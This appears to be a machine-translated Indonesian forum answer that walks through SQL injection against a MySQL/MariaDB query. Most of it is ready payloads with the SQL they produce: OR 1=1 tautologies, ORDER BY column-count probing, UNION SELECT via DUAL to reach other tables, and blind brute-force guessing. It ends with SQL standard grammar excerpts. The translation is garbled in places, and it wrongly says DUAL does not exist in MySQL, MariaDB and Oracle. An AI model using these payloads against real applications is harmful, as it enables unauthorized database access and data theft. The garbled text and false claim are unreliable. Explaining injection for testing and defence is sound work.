Ok mari kita bersenang-senang kalau begitu.
Ketika saya melihat pesan kesalahan
Saya berasumsi kueri dan kode dalam aplikasi kurang lebih seperti ini, @o
sebenarnya adalah variabel pengguna MySQL..
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
Saya akan menggunakan spasi biola SQL untuk mensimulasikan tes injeksi SQL dan lebih banyak lagi mendapatkan akses ke tabel lain.
Anda dapat menguji injeksi Anda dengan 1' OR 1 = 1#
atau 1' OR 1 = 1--
keduanya harus berfungsi dan akan memberi Anda hasil yang sama saat Anda menggunakan 1
sebagai input. Ini karena MariaDB automatic sedang mentransmisikan tipe untuk database lain, Anda mungkin perlu menggunakan versi yang lebih ketat 1' OR '1' = '1#
Yang seharusnya menghasilkan
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
Atau
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
Kemudian karena Anda melihat kesalahan dalam aplikasi, Anda dapat menggunakan ORDER BY 1
untuk memeriksa berapa banyak kolom yang dipilih dan menambah jumlahnya sampai Anda mendapatkan kesalahan.
Kesalahan:ER_BAD_FIELD_ERROR:Kolom '2' tidak diketahui di 'klausa pesanan'
Suntik dengan
1' ORDER BY 1#
atau 1' ORDER BY 1--
Yang berarti urutkan pada kolom pertama dalam kumpulan hasil TIDAK urutkan 1
harfiah.
Menghasilkan
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
Atau
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
Jika Anda mengetahui kolomnya, Anda dapat menggunakan UNION
untuk masuk ke meja lain. Gunakan NULL
jika Anda tidak membutuhkan semua kolom.
injeksi
1' UNION ALL SELECT NULL FROM DUAL#
Perhatikan bahwa DUAL
adalah tabel "virtual" yang tidak ada di MariaDB, MySQL dan Oracle, jika Anda dapat menanyakan "tabel" ini, itu berarti Anda juga dapat secara teknis masuk ke tabel lain.
SQL yang dihasilkan
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
Dan jika halaman web dirancang sebagai halaman "detail" di mana satu catatan selalu terlihat, Anda perlu menambahkan LIMIT 1, 1
dalam injeksi Anda.
Bagaimana jika tidak ada kesalahan yang terlihat di aplikasi web, Anda seharusnya dapat melakukan bruteforce geuss secara membabi buta dengan injeksi SQL buta dan melihat cara kerja aplikasi.
Coba juga hal-hal seperti ?o=0
, ?o=NULL
atau angka yang sangat tinggi seperti nilai INT maks (Ditandatangani) ?o=2147483647
atau (tidak ditandatangani) ?o=4294967295
sebelum mencoba memaksa nomor kolom yang digunakan sehingga Anda tahu bagaimana aplikasi menangani catatan yang tidak dapat ditemukan. Karena sangat tidak mungkin memiliki id 0
atau angka yang tinggi pada INT
tipe data, karena aplikasi akan berhenti bekerja jika angka terakhir diberikan. Jika Anda masih mendapatkan catatan dengan angka tinggi tersebut, gunakan nilai maksimal untuk BIGINT
tipe data sebagai gantinya.
Untuk kolom 1 id hasil yang sama o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Untuk kolom 2 yang akan error tetapi kemungkinan besar Anda akan melihat halaman error atau pesan bahwa catatan tidak ditemukan.
Atau status kesalahan HTTP 404 (Tidak Ditemukan) yang manis. 1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Satu masalah yang mungkin Anda dapatkan saat menggunakan LIMIT
tanpa menggunakan ORDER BY
mungkin merupakan peluang untuk mendapatkan catatan yang sama karena standar SQL telah menetapkan bahwa tabel/hasil SQL tanpa urutan tanpa menggunakan ORDER BY
Jadi idealnya Anda harus tetap menggunakan ORDER BY 1
di bruteforce.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
Dan
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
Basis data mendukung ORDER BY 1
lebih baik daripada yang saya pikirkan pada awalnya karena berfungsi di MySQL, MariaDB, SQL Server (MSSQL) dan PostgreSQL.
Juga ORDER BY 1
adalah fitur SQL 92 yang telah dihapus di SQL 99.
Jadi sebenarnya database SQL tidak boleh mengeksekusi ORDER BY 1
lagi jika mereka akan mengikuti standar SQL pada saat ini.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
vs SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC